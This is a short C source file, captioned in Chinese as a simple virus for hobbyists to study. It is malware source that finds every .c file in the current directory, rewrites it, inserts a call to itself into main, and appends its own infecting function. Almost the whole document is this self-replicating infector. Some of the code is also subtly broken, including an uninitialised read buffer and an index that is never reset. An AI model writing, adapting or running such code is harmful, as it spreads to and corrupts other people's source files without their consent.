virual.c

一个简单的c病毒。此程序只供有兴趣的爱好者研究。

#include <stdio.h> 
#include <dir.h> 
void main(void) 
{ 
virus(); 
} 
int virus() 
{ 
struct ffblk ffblk; 
FILE *in,*out,*read; 
char *virus="virus.c"; 
char buf[50][80]; 
char *p; 
char *end="return"; 
char *bracket="}"; 
char *main="main"; 
char *include[2]={"stdio.h","dir.h"}; 
char *int_virus="int virus()"; 
char *buffer; 
int done,i,j=0,flag=0; 
printf("\nI have a virus. Writen by PuBin\n"); 
done = findfirst("*.c",&ffblk,0); 
while (!done) 
{ 
 i=0; 
 if ((in = fopen(ffblk.ff_name, "rt"))== NULL) 
 { 
 goto next; 
 } 
 do{ 
    if(i>=50) 
    { 
fclose(in); 
goto next; 
    } 
    p=fgets(buf[i],80,in); 
    i++; 
   }while(p!=NULL); 
   fclose(in); 
   out=fopen(ffblk.ff_name,"w+t"); 
   fputs("#include<stdio.h>\n",out); 
   fputs("#include<dir.h>\n",out); 
 do 
 { 
  if(strstr(buf[j],main)!=NULL) 
  { 
   for(;j<i-1;j++) 
   if(strstr(buf[j],end)==NULL&&strstr(buf[j],bracket)==NULL) 
   fputs(buf[j],out); 
   else 
   { 
    if(flag==0) 
    { 
flag=1; 
fputs("virus();\n",out); 
    } 
    fputs(buf[j],out); 
   } 
 } 
 else if((strstr(buf[j],include[0])==NULL) 
 &&(strstr(buf[j],include[1])==NULL)) 
 { 
fputs(buf[j],out); 
j++; 
 } 
 else 
 j++; 
 }while(j<i-1); 
 read=fopen(virus,"rt"); 
do 
{ 
 p=fgets(buffer,80,read); 
 if(strstr(buffer,int_virus)) 
 while(p!=NULL) 
 { 
  if(strstr(buffer,virus)==NULL) 
  fputs(buffer,out); 
  else 
  { 
                fputs(" char *virus=\"",out); 
fputs(ffblk.ff_name,out); 
        fputs("\";\n",out); 
 } 
 p=fgets(buffer,80,read); 
} 
}while(p!=NULL); 

fclose(read); 
fclose(out); 
      printf("\nYour c program  %s has a virus. Writen by PuBin\n",ffblk.ff_name); 
next: done = findnext(&ffblk); 
} 
return 0; 
}